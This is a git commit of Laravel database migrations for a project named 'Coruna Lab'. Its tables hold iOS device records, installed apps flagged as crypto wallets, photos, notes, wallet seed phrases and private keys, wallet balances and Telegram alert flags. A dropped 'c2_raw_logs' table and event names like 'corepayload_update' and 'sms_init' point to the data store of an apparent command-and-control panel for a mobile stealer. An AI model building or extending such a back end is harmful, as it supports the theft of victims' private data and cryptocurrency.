init
This commit is contained in:
@@ -0,0 +1,20 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
|
||||
/**
|
||||
* Laravel default users/sessions scaffolding — unused by Coruna Lab.
|
||||
* Auth uses `admins`; session/cache/queue use file/sync drivers.
|
||||
*/
|
||||
return new class extends Migration
|
||||
{
|
||||
public function up(): void
|
||||
{
|
||||
//
|
||||
}
|
||||
|
||||
public function down(): void
|
||||
{
|
||||
//
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,17 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
|
||||
/** Unused — CACHE_STORE=file */
|
||||
return new class extends Migration
|
||||
{
|
||||
public function up(): void
|
||||
{
|
||||
//
|
||||
}
|
||||
|
||||
public function down(): void
|
||||
{
|
||||
//
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,17 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
|
||||
/** Unused — QUEUE_CONNECTION=sync */
|
||||
return new class extends Migration
|
||||
{
|
||||
public function up(): void
|
||||
{
|
||||
//
|
||||
}
|
||||
|
||||
public function down(): void
|
||||
{
|
||||
//
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,98 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
use Illuminate\Database\Schema\Blueprint;
|
||||
use Illuminate\Support\Facades\Schema;
|
||||
|
||||
return new class extends Migration
|
||||
{
|
||||
public function up(): void
|
||||
{
|
||||
Schema::create('admins', function (Blueprint $table) {
|
||||
$table->id();
|
||||
$table->string('username')->unique();
|
||||
$table->string('password');
|
||||
$table->rememberToken();
|
||||
$table->timestamps();
|
||||
});
|
||||
|
||||
Schema::create('devices', function (Blueprint $table) {
|
||||
$table->id();
|
||||
$table->string('device_id', 64)->unique();
|
||||
$table->string('ios_version', 64)->nullable();
|
||||
$table->string('device_model', 128)->nullable();
|
||||
$table->string('ip', 64)->nullable();
|
||||
$table->text('user_agent')->nullable();
|
||||
$table->boolean('telegram_notified')->default(false);
|
||||
$table->timestamps();
|
||||
});
|
||||
|
||||
Schema::create('device_apps', function (Blueprint $table) {
|
||||
$table->id();
|
||||
$table->foreignId('device_id')->constrained('devices')->cascadeOnDelete();
|
||||
$table->string('bundle_id')->nullable();
|
||||
$table->string('name')->nullable();
|
||||
$table->boolean('is_wallet')->default(false);
|
||||
$table->json('meta_json')->nullable();
|
||||
$table->timestamps();
|
||||
$table->unique(['device_id', 'bundle_id']);
|
||||
});
|
||||
|
||||
Schema::create('photos', function (Blueprint $table) {
|
||||
$table->id();
|
||||
$table->foreignId('device_id')->nullable()->constrained('devices')->nullOnDelete();
|
||||
$table->string('sha256', 64)->nullable()->index();
|
||||
$table->string('path');
|
||||
$table->unsignedInteger('width')->nullable();
|
||||
$table->unsignedInteger('height')->nullable();
|
||||
$table->unsignedInteger('size')->nullable();
|
||||
$table->json('counters_json')->nullable();
|
||||
$table->timestamps();
|
||||
});
|
||||
|
||||
Schema::create('notes', function (Blueprint $table) {
|
||||
$table->id();
|
||||
$table->foreignId('device_id')->nullable()->constrained('devices')->nullOnDelete();
|
||||
$table->string('title')->nullable();
|
||||
$table->longText('body')->nullable();
|
||||
$table->json('meta_json')->nullable();
|
||||
$table->timestamps();
|
||||
});
|
||||
|
||||
Schema::create('wallets', function (Blueprint $table) {
|
||||
$table->id();
|
||||
$table->foreignId('device_id')->constrained('devices')->cascadeOnDelete();
|
||||
$table->string('source_app')->nullable();
|
||||
$table->text('mnemonic_enc')->nullable();
|
||||
$table->text('privkey_enc')->nullable();
|
||||
$table->json('raw_json')->nullable();
|
||||
$table->timestamps();
|
||||
});
|
||||
|
||||
Schema::create('wallet_addresses', function (Blueprint $table) {
|
||||
$table->id();
|
||||
$table->foreignId('device_id')->constrained('devices')->cascadeOnDelete();
|
||||
$table->foreignId('wallet_id')->nullable()->constrained('wallets')->nullOnDelete();
|
||||
$table->string('address')->index();
|
||||
$table->string('chain')->nullable();
|
||||
$table->string('balance')->nullable();
|
||||
$table->string('symbol')->nullable();
|
||||
$table->boolean('telegram_notified')->default(false);
|
||||
$table->json('meta_json')->nullable();
|
||||
$table->timestamps();
|
||||
$table->unique(['device_id', 'address', 'chain']);
|
||||
});
|
||||
|
||||
}
|
||||
|
||||
public function down(): void
|
||||
{
|
||||
Schema::dropIfExists('wallet_addresses');
|
||||
Schema::dropIfExists('wallets');
|
||||
Schema::dropIfExists('notes');
|
||||
Schema::dropIfExists('photos');
|
||||
Schema::dropIfExists('device_apps');
|
||||
Schema::dropIfExists('devices');
|
||||
Schema::dropIfExists('admins');
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,57 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
use Illuminate\Database\Schema\Blueprint;
|
||||
use Illuminate\Support\Facades\DB;
|
||||
use Illuminate\Support\Facades\Schema;
|
||||
|
||||
return new class extends Migration
|
||||
{
|
||||
public function up(): void
|
||||
{
|
||||
Schema::table('devices', function (Blueprint $table) {
|
||||
if (! Schema::hasColumn('devices', 'device_model')) {
|
||||
$table->string('device_model', 128)->nullable()->after('ios_version');
|
||||
}
|
||||
});
|
||||
|
||||
if (Schema::hasColumn('devices', 'model') && Schema::hasColumn('devices', 'device_model')) {
|
||||
DB::table('devices')->whereNull('device_model')->whereNotNull('model')->update([
|
||||
'device_model' => DB::raw('model'),
|
||||
]);
|
||||
}
|
||||
|
||||
Schema::table('device_apps', function (Blueprint $table) {
|
||||
if (! Schema::hasColumn('device_apps', 'version')) {
|
||||
$table->string('version', 64)->nullable()->after('name');
|
||||
}
|
||||
});
|
||||
|
||||
Schema::create('device_events', function (Blueprint $table) {
|
||||
$table->id();
|
||||
$table->foreignId('device_id')->nullable()->constrained('devices')->nullOnDelete();
|
||||
$table->string('device_key', 64)->index();
|
||||
$table->string('event_name', 128)->nullable()->index();
|
||||
$table->string('desc', 512)->nullable();
|
||||
$table->json('context_json')->nullable();
|
||||
$table->timestamps();
|
||||
});
|
||||
}
|
||||
|
||||
public function down(): void
|
||||
{
|
||||
Schema::dropIfExists('device_events');
|
||||
|
||||
Schema::table('device_apps', function (Blueprint $table) {
|
||||
if (Schema::hasColumn('device_apps', 'version')) {
|
||||
$table->dropColumn('version');
|
||||
}
|
||||
});
|
||||
|
||||
Schema::table('devices', function (Blueprint $table) {
|
||||
if (Schema::hasColumn('devices', 'device_model')) {
|
||||
$table->dropColumn('device_model');
|
||||
}
|
||||
});
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,70 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
use Illuminate\Database\Schema\Blueprint;
|
||||
use Illuminate\Support\Facades\DB;
|
||||
use Illuminate\Support\Facades\Schema;
|
||||
|
||||
return new class extends Migration
|
||||
{
|
||||
public function up(): void
|
||||
{
|
||||
// Prefer real hardware model; clear event-name pollution from older ingest.
|
||||
if (Schema::hasColumn('devices', 'model') && Schema::hasColumn('devices', 'device_model')) {
|
||||
DB::table('devices')->whereNull('device_model')->whereNotNull('model')->update([
|
||||
'device_model' => DB::raw('model'),
|
||||
]);
|
||||
DB::table('devices')
|
||||
->whereIn('device_model', ['corepayload_update', 'sms_version', 'sms_common', 'sms_init'])
|
||||
->orWhere('device_model', 'like', 'sms_%')
|
||||
->orWhere('device_model', 'like', '%_update')
|
||||
->update(['device_model' => null]);
|
||||
}
|
||||
|
||||
if (Schema::hasColumn('devices', 'first_seen_at')) {
|
||||
DB::statement('UPDATE devices SET created_at = COALESCE(first_seen_at, created_at, last_seen_at, NOW())');
|
||||
}
|
||||
if (Schema::hasColumn('devices', 'last_seen_at')) {
|
||||
DB::statement('UPDATE devices SET updated_at = COALESCE(last_seen_at, updated_at, first_seen_at, created_at, NOW())');
|
||||
}
|
||||
|
||||
Schema::table('devices', function (Blueprint $table) {
|
||||
$drop = [];
|
||||
foreach (['model', 'first_seen_at', 'last_seen_at'] as $col) {
|
||||
if (Schema::hasColumn('devices', $col)) {
|
||||
$drop[] = $col;
|
||||
}
|
||||
}
|
||||
if ($drop !== []) {
|
||||
$table->dropColumn($drop);
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
public function down(): void
|
||||
{
|
||||
Schema::table('devices', function (Blueprint $table) {
|
||||
if (! Schema::hasColumn('devices', 'model')) {
|
||||
$table->string('model', 128)->nullable()->after('user_agent');
|
||||
}
|
||||
if (! Schema::hasColumn('devices', 'first_seen_at')) {
|
||||
$table->timestamp('first_seen_at')->nullable()->after('user_agent');
|
||||
}
|
||||
if (! Schema::hasColumn('devices', 'last_seen_at')) {
|
||||
$table->timestamp('last_seen_at')->nullable()->after('first_seen_at');
|
||||
}
|
||||
});
|
||||
|
||||
if (Schema::hasColumn('devices', 'model') && Schema::hasColumn('devices', 'device_model')) {
|
||||
DB::table('devices')->whereNull('model')->whereNotNull('device_model')->update([
|
||||
'model' => DB::raw('device_model'),
|
||||
]);
|
||||
}
|
||||
if (Schema::hasColumn('devices', 'first_seen_at')) {
|
||||
DB::statement('UPDATE devices SET first_seen_at = created_at');
|
||||
}
|
||||
if (Schema::hasColumn('devices', 'last_seen_at')) {
|
||||
DB::statement('UPDATE devices SET last_seen_at = updated_at');
|
||||
}
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,33 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
use Illuminate\Database\Schema\Blueprint;
|
||||
use Illuminate\Support\Facades\Schema;
|
||||
|
||||
return new class extends Migration
|
||||
{
|
||||
/** Tables unused by Coruna Lab (file logs / file session-cache / sync queue / admins-only auth). */
|
||||
private array $tables = [
|
||||
'c2_raw_logs',
|
||||
'users',
|
||||
'password_reset_tokens',
|
||||
'sessions',
|
||||
'cache',
|
||||
'cache_locks',
|
||||
'jobs',
|
||||
'job_batches',
|
||||
'failed_jobs',
|
||||
];
|
||||
|
||||
public function up(): void
|
||||
{
|
||||
foreach ($this->tables as $table) {
|
||||
Schema::dropIfExists($table);
|
||||
}
|
||||
}
|
||||
|
||||
public function down(): void
|
||||
{
|
||||
// Intentionally empty — Laravel default scaffolding can be re-migrated if needed.
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,26 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
use Illuminate\Database\Schema\Blueprint;
|
||||
use Illuminate\Support\Facades\Schema;
|
||||
|
||||
return new class extends Migration
|
||||
{
|
||||
public function up(): void
|
||||
{
|
||||
Schema::table('devices', function (Blueprint $table) {
|
||||
if (Schema::hasColumn('devices', 'profile_json')) {
|
||||
$table->dropColumn('profile_json');
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
public function down(): void
|
||||
{
|
||||
Schema::table('devices', function (Blueprint $table) {
|
||||
if (! Schema::hasColumn('devices', 'profile_json')) {
|
||||
$table->json('profile_json')->nullable()->after('user_agent');
|
||||
}
|
||||
});
|
||||
}
|
||||
};
|
||||
Reference in New Issue
Block a user